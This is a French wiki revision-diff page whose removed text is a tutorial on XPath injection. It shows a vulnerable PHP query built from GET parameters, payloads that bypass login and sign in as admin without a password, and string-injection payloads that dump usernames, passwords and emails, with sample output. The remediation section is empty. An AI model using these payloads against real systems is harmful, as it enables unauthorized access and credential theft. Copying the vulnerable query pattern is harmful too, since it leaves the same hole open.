Outils pour utilisateurs

Outils du site


web:injection_xpath

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

web:injection_xpath [2016/03/15 11:00]
yorin
web:injection_xpath [2016/07/04 08:38]
Ligne 1: Ligne 1:
-__**1)Présentation de la Vulnérabilité **__ 
  
- 
-__**2)Exploit **__ 
- 
-__2.1 XPATH Authentification__ 
- 
-**Le code :** 
-<​code>​$xpath = "//​username[username='"​ . $_GET['​username'​] . "'​ and password='"​ . $_GET['​password'​] . "'​]";</​code>​ 
- 
-Voici en gros ce qu'il se passe derrière l'​authentification,​ 
-Maintenant, notre but est d'​utiliser un tweak sur les valeurs username et password pour renvoyer une réponse **TRUE** et bypasser l'​authentification. 
- 
-Une partie a découvrir, c'est le noeud courant. Pour rappel la sémantique d'une Xpath est Un axe, un noeud, des prédicats. Ici notre noeud est username: 
-Pour tester : 
-<​code>​ username='​ or '​1'​='​1 </​code>​ 
- 
-username est le nom de la variable renvoyé par le formulaire, on ferme ensuite la chaîne de caractères avec **'** puis on ajoute une vérité : 
-**or '​1'​='​1** ​ 
-On n'​ajoute pas de **'** , $xpath s'en charge pour nous. 
- 
-Au final, la chaîne $xpath donnera: 
- 
-<​code>​ $xpath = "//​username[username=''​ or '​1'​='​1'​ and password=''​ or '​1'​='​1'​]";​ </​code>​ 
- 
-Se connecter avec le premier utilisateur : <​code>​ username='​ or '​1'​='​1&​password='​ or '​1'​='​1 </​code>​ 
-Cette requête renverra TRUE, nous serons donc loggé avec la première utilisateur de la liste, ici FrankyVincent. ​ 
-Si vous suivez un peu, vous voyez déjà que l'on peut bypasser le password par une fermeture en plus ! Voici: 
- 
-<​code>​ username='​ or '​1'​='​1'​ or ''​='&​password= </​code>​ 
- 
-ce qui donne dessous la machine : 
- 
-<​code>​ $xpath = "//​username[username=''​ or '​1'​='​1'​ or ''​=''​ and password=''​]";​ </​code>​ 
- 
-Ainsi, si nous chainons deux or, le prédicat est stoppé avant password bypassant ainsi l'​utilisation d'un mot de passe. L'​utilité ? Se logger en admin par exemple 
- 
-<​code>​ username=admin'​ or '​1'​='​1'​ or ''​='&​password= </​code>​ 
- 
-__2.2 Injection string:__ 
- 
-Ce type d'​injection est possible sur un champs de recherche d'​utilisateur par exemple. ​ 
-Nous cherchons a créer une erreur avec **' )'** ce qui renverra : 
- 
-<​code>​ Invalid XPath syntax : //​username/​user[contains(.,​ ''​ )')] </​code>​ 
- 
-En voici une erreur qui en dit long ! On récupère notre noeud (username/​user),​ et l'info de l'​utilisation de contains, y'a pu qu'à injecter comme on dit ! 
-Il est important de savoir que contains attend un string en paramètre qui va être chercher dans le  
- 
-Notre but est donc de fermer la requête, fermer le prédicat puis recommencer une requête complète. 
-Et tada : 
- 
-<​code>​ username='​)][('​1'​='​1 </​code>​ 
- 
-Au final, on obtient: 
- 
-<​code>​ $xpath=//​username/​user[contains(.,''​)][('​1'​='​1'​)] </​code>​ 
- 
-Cela listera les username : 
- 
-  * **5 results found** 
- 
-  * **FrankyVincent** 
-  * **admin** 
-  * **Babar** 
-  * **Tigrou** 
-  * **Carlos** 
- 
-C'est jolie tout ça mais, nous on veut du mdp ! Remontons d'un cran ! 
- 
-<​code>​ $xpath=//​username/​user[contains(.,''​)]/​../​*[('​1'​='​1'​)] </​code>​ 
- 
-On remonte dans l'​arborescence et affiche tout le contenu de l'​ensemble des noeuds “user” et tous ses attributs. 
- 
-L'​injection : <​code>​ username='​)]/​../​*[('​1'​='​1 </​code>​ renverra: 
- 
-  * **1** 
-  * **FrankyVincent** 
-  * **FruitDeL@Passion** 
-  * **Cousin@cousinealui.com** 
-  * **2** 
-  * **admin** 
-  * **Sup3rM0tD3p@sseD30uf** 
-  * **admin@xpathpwnd.com** 
-  * **admin** 
- 
-  * **[...]** 
- 
-  * **Carlos@decede.fr** 
-  * **Décédé** 
- 
-__**3)Remédiation de la Vulnérabilité **__ 
web/injection_xpath.txt · Dernière modification: 2016/07/04 08:38 (modification externe)